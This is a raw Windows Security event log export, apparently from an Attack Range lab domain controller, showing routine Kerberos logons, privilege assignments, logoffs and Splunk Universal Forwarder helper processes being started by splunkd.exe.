	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3B3A8C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51220

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:58:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256110
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3B3A8C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:59:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256113
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:59:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256114
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:59:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256116
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:59:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256115
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:59:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256117
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc7c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:59:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256118
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:59:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256119
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:59:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256122
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3B702A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:59:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256121
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3B702A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51233

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:59:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256120
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3B702A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:00:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256123
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc0c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:00:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256125
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:00:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256124
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:00:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256126
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1108
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:00:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256127
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:00:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256128
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:00:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256129
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:00:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256132
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BA578

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:00:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256131
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BA578
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51247

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:00:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256130
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BA578

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
